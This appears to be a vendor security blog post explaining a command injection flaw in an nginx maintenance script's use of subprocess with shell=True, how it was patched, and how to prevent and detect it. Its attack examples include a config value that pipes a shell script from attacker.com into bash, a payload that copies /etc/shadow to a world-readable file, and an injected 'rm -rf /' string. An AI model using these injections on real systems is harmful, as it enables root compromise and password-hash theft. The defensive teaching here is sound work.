Back to Blog
high SEVERITY8 min read

Command Injection in Privileged Nginx Scripts: A High-Severity Fix

A high-severity command injection vulnerability (CWE-78) was discovered and patched in an nginx harness maintenance script that used `subprocess.check_output()` without proper input sanitization. Because maintenance scripts like this frequently run with elevated privileges, an attacker who could influence the input arguments could execute arbitrary system commands as root. This post breaks down how the vulnerability works, how it was fixed, and what you can do to prevent similar issues in your o

O
By Orbis AppSec
Published May 14, 2026Reviewed June 3, 2026

Answer Summary

Command injection (CWE-78) in Python occurs when unsanitized user input is passed to subprocess functions like `subprocess.check_output()` or `subprocess.run()` with `shell=True`. In this nginx maintenance script, an attacker could inject malicious commands through script arguments that would execute with root privileges. The fix involves using proper argument lists instead of shell strings, validating all inputs, and avoiding `shell=True` to prevent command interpretation.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixImplement input validation, use argument lists instead of shell strings, avoid shell=True
riskArbitrary command execution with elevated privileges (potentially root)
languagePython
root causeUnsanitized input passed to subprocess.check_output() without proper validation
vulnerabilityCommand Injection via subprocess.check_output()

Command Injection in Privileged Nginx Scripts: A High-Severity Fix

Introduction

Imagine handing someone a sticky note that says "please run this command for me" — and then walking away while they execute it with administrator privileges. That's essentially what a command injection vulnerability does. It's one of the oldest and most dangerous classes of bugs in software security, and it keeps showing up in places where developers least expect it: maintenance scripts, automation tooling, and infrastructure management code.

This post covers a high-severity command injection vulnerability (CWE-78) that was discovered and patched in harness_route.py, an nginx harness maintenance script. The fix matters not just because of the specific bug, but because it illustrates a pattern that appears constantly in DevOps and infrastructure tooling — and one that carries outsized risk precisely because these scripts are often run with elevated privileges.


The Vulnerability Explained

What Is Command Injection?

Command injection (classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command) occurs when an application constructs a system command using externally influenced input without properly sanitizing or validating that input. The result: an attacker can append or substitute malicious commands that the system executes as if they were legitimate.

In Python, the danger zone is typically subprocess — specifically when:

  • shell=True is used (which passes the command through a shell interpreter like /bin/sh)
  • Arguments are constructed by string concatenation or f-strings using untrusted data
  • Input from configuration files, environment variables, or HTTP parameters is passed directly into command arguments

The Vulnerable Code Pattern

The vulnerability in harness_route.py involved the use of subprocess.check_output() for nginx management tasks — things like reloading configuration, managing processes, or operating on files in privileged directories.

Here's a simplified representation of the vulnerable pattern:

# VULNERABLE - Do not use this pattern
import subprocess

def reload_nginx(config_path):
    # config_path could come from a routing config file or external input
    command = f"nginx -t -c {config_path} && nginx -s reload"
    result = subprocess.check_output(command, shell=True)
    return result

At first glance, this looks like a reasonable maintenance function. But consider what happens if config_path is influenced by an attacker:

config_path = "/etc/nginx/nginx.conf && curl http://attacker.com/shell.sh | bash"

With shell=True, the entire string is handed to /bin/sh, which dutifully executes both the nginx command and the attacker's payload. If this script runs as root (common for nginx management tasks), the attacker now has root-level code execution.

Why Maintenance Scripts Are Especially Dangerous

The risk multiplier here is privilege level. Nginx management scripts routinely need elevated permissions to:

  • Read and write configuration files in /etc/nginx/
  • Send signals to the nginx master process
  • Bind to privileged ports (< 1024)
  • Reload or restart system services

This means that a command injection vulnerability in such a script isn't just "arbitrary code execution" — it's arbitrary code execution as root. The blast radius is the entire system.

Real-World Attack Scenario

Let's walk through a realistic exploitation path:

  1. The setup: harness_route.py reads routing configuration from a file or accepts parameters that influence which nginx config to validate or reload.

  2. The injection point: An attacker finds a way to write to the routing configuration file, or discovers an API endpoint that passes parameters to the maintenance script.

  3. The payload: They craft a malicious value:
    /etc/nginx/nginx.conf; cat /etc/shadow > /tmp/shadow_copy; chmod 777 /tmp/shadow_copy

  4. The execution: The script runs with sudo/root, the shell interprets the semicolon as a command separator, and the attacker now has a world-readable copy of the system's password hashes.

  5. The escalation: From here, offline password cracking, lateral movement, or full system compromise is straightforward.


The Fix

What Changed

The fix centers on eliminating shell interpretation and treating all external input as data, not code. The corrected approach uses subprocess in a way that bypasses the shell entirely.

Here's the secure pattern that replaces the vulnerable code:

# SECURE - Use this pattern instead
import subprocess
import shlex
import os

def reload_nginx(config_path):
    # Validate the input first - ensure it's an absolute path to an expected location
    allowed_config_dir = "/etc/nginx/"

    # Normalize and validate the path
    real_path = os.path.realpath(config_path)
    if not real_path.startswith(allowed_config_dir):
        raise ValueError(f"Invalid config path: config must be within {allowed_config_dir}")

    # Pass arguments as a LIST, not a string - no shell=True
    test_result = subprocess.check_output(
        ["nginx", "-t", "-c", real_path],
        stderr=subprocess.STDOUT
    )

    reload_result = subprocess.check_output(
        ["nginx", "-s", "reload"],
        stderr=subprocess.STDOUT
    )

    return reload_result

Why This Works

Several security improvements work together here:

1. Arguments as a list, not a string

When you pass a list to subprocess.check_output(), Python uses execvp() under the hood — it calls the binary directly without invoking a shell. There is no shell to interpret metacharacters like ;, &&, |, $(), or backticks. The argument "/etc/nginx/nginx.conf; rm -rf /" becomes a literal filename that nginx will (correctly) fail to find, rather than a shell command sequence.

# Shell is bypassed entirely - metacharacters are just data
subprocess.check_output(["nginx", "-t", "-c", user_input])

2. No shell=True

This is the single most impactful change. shell=True is almost never necessary for well-structured code, and its presence should always trigger a security review. When you need to chain commands, do it in Python logic — not in a shell string.

3. Input validation with path normalization

Using os.path.realpath() resolves symlinks and ../ traversal sequences before validation. Checking against an allowed_config_dir prefix ensures the script only operates on files in the expected location, preventing path traversal attacks.

4. Explicit error handling

The fix raises a ValueError for invalid input rather than silently proceeding. Fail loudly and early — don't let suspicious input continue down the execution path.


Prevention & Best Practices

The Golden Rules for Subprocess Security

Rule 1: Never use shell=True with external input

If you find yourself writing subprocess.run(f"command {user_value}", shell=True), stop. Refactor to use a list.

# ❌ Dangerous
subprocess.run(f"grep {pattern} {filename}", shell=True)

# ✅ Safe
subprocess.run(["grep", pattern, filename])

Rule 2: Validate and allowlist inputs

Before passing any value to a subprocess call, validate it against an allowlist of expected values or patterns:

ALLOWED_NGINX_SIGNALS = {"reload", "reopen", "quit", "stop"}

def send_nginx_signal(signal):
    if signal not in ALLOWED_NGINX_SIGNALS:
        raise ValueError(f"Invalid nginx signal: {signal}")
    subprocess.check_output(["nginx", "-s", signal])

Rule 3: Use shlex.quote() as a last resort

If you absolutely must construct a shell string (legacy code, complex pipelines), use shlex.quote() to escape individual arguments. But prefer the list approach whenever possible.

import shlex

# Only if shell=True is truly unavoidable
safe_path = shlex.quote(user_provided_path)
subprocess.run(f"nginx -t -c {safe_path}", shell=True)

Rule 4: Apply the principle of least privilege

Maintenance scripts should not run as root unless absolutely necessary. Use:
- Specific sudo rules that allow only the exact commands needed
- Capabilities (CAP_NET_BIND_SERVICE, etc.) instead of full root
- Dedicated service accounts with minimal permissions

# /etc/sudoers.d/nginx-maintenance
deploy_user ALL=(root) NOPASSWD: /usr/sbin/nginx -s reload
deploy_user ALL=(root) NOPASSWD: /usr/sbin/nginx -t -c /etc/nginx/nginx.conf

Rule 5: Audit configuration file inputs

If your script reads commands or paths from configuration files, treat those files as untrusted input. Validate their contents before use, and ensure the files themselves are not world-writable.

Detection Tools

Add these to your security toolchain to catch command injection issues early:

Tool Type What It Catches
Bandit SAST (Python) subprocess with shell=True, hardcoded credentials
Semgrep SAST (multi-language) Custom rules for dangerous subprocess patterns
CodeQL SAST Data flow analysis from sources to sinks
Safety Dependency scanning Known-vulnerable Python packages
Trivy Container/IaC scanning Misconfigurations in Dockerfiles and scripts

Run Bandit on your Python codebase right now:

pip install bandit
bandit -r . -t B602,B603,B604,B605,B606,B607

The -t flag targets subprocess-related checks specifically. Any HIGH severity findings deserve immediate attention.

OWASP and Standards References

  • OWASP Top 10 A03:2021 — Injection: Command injection falls under this category, consistently one of the most critical web application risks
  • CWE-78: OS Command Injection — the specific weakness identifier for this vulnerability class
  • CWE-88: Argument Injection — a related weakness when shell metacharacters aren't the vector but argument structure is
  • NIST SP 800-53 SI-10: Information Input Validation — the control framework recommendation for input sanitization

Conclusion

Command injection in infrastructure scripts is a particularly dangerous combination: the vulnerability class is well-understood and preventable, yet it continues to appear in maintenance tooling where the consequences — root-level code execution — are most severe.

The key takeaways from this fix are:

  1. Never use shell=True when subprocess arguments can be influenced by external input
  2. Pass arguments as lists to bypass shell interpretation entirely
  3. Validate and allowlist inputs before they reach any system call
  4. Apply least privilege so that even if injection occurs, the blast radius is limited
  5. Automate detection with SAST tools like Bandit and Semgrep in your CI/CD pipeline

Security in infrastructure code isn't glamorous work, but it's foundational. A single unvalidated argument in a privileged maintenance script can undo layers of carefully built security controls. The fix here is a few lines of code — the vulnerability it closes could have been catastrophic.

Write code that treats every external value as potentially hostile. Your future self (and your on-call rotation) will thank you.


This vulnerability was identified and patched by OrbisAI Security. Automated security scanning, combined with expert review, caught this issue before it could be exploited in production.

Frequently Asked Questions

What is command injection in Python?

Command injection occurs when an application passes unsanitized user input to system command execution functions like subprocess.run(), subprocess.check_output(), or os.system(). Attackers can inject malicious commands using shell metacharacters (;, |, &, $, etc.) to execute arbitrary code on the system.

How do you prevent command injection in Python?

Prevent command injection by: (1) avoiding shell=True in subprocess calls, (2) passing commands as lists instead of strings, (3) validating and sanitizing all user inputs, (4) using allowlists for permitted values, (5) escaping special characters with shlex.quote(), and (6) running scripts with least privilege.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). It's part of the broader CWE-74 family (Improper Neutralization of Special Elements in Output Used by a Downstream Component).

Is input validation enough to prevent command injection?

Input validation is necessary but not sufficient alone. You must also use safe APIs (subprocess with list arguments and shell=False), apply the principle of least privilege, and implement defense-in-depth. Even with validation, using shell=True creates unnecessary risk that should be avoided entirely.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, Bandit, and CodeQL can detect many command injection patterns by identifying dangerous subprocess calls with shell=True, user-controlled inputs flowing to command execution functions, and missing input validation. However, complex data flows may require manual review.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #101

Related Articles

high

How Authentication Bypass happens in PyJWT and how to fix it

A critical authentication bypass vulnerability in PyJWT 2.12.1 allowed attackers to forge valid JSON Web Tokens, potentially bypassing application authentication mechanisms entirely. The vulnerability was fixed in PyJWT 2.13.0 through security improvements to token validation logic. This fix is essential for any application relying on JWT-based authentication.

high

How unsafe pickle deserialization happens in Keras/TensorFlow notebooks and how to fix it

A high-severity untrusted deserialization vulnerability was discovered in `TransferLearningTF.ipynb`, a transfer learning tutorial notebook that loads VGG16 model weights from the internet without verifying their integrity. Because Keras relies on Python's pickle-based serialization format under the hood, a tampered or substituted weights file could execute arbitrary code with the full privileges of the notebook user. The fix adds a SHA-256 checksum verification step immediately after the weight

critical

How Chromium launch-argument injection happens in Python Crawl4AI and how to fix it

A critical unauthenticated remote code execution vulnerability in Crawl4AI 0.8.9 allowed attackers to inject arbitrary Chromium launch arguments through the `browser_config.extra_args` parameter, potentially taking full control of the host process. The fix upgrades to Crawl4AI 0.9.0 and refactors the crawler initialization in `agent/tools/crawler.py` to use the new `BrowserConfig` and `CrawlerRunConfig` APIs, which enforce proper argument validation. This change eliminates the injection surface

critical

How integer overflow in buffer size calculation happens in C++ and how to fix it

A critical integer overflow vulnerability was discovered in OpenCV's HAL filter implementation where multiplying image dimensions without overflow protection could allocate dangerously undersized buffers. An attacker supplying crafted image dimensions (e.g., 65536×65536) could trigger heap corruption through out-of-bounds writes. The fix promotes the calculation to 64-bit arithmetic with a single cast.

critical

How buffer overflow via strcpy() happens in C zlib and how to fix it

A critical buffer overflow vulnerability was discovered in `general/libzlib/gzlib.c` where multiple `strcpy()` and `strcat()` calls operated without bounds checking. An attacker controlling file paths or error messages could overflow destination buffers, potentially achieving arbitrary code execution. The fix replaces these unsafe string operations with bounded `memcpy()` calls that respect pre-calculated buffer lengths.

critical

How hardcoded API key placeholders in documentation happen in Python and how to fix it

A high-severity security issue was discovered in the Context7 API documentation where a hardcoded API key placeholder (`CONTEXT7_API_KEY`) could be copied directly into production code. The fix replaced the static string with a proper environment variable reference using `os.environ`, preventing developers from accidentally deploying exposed credentials.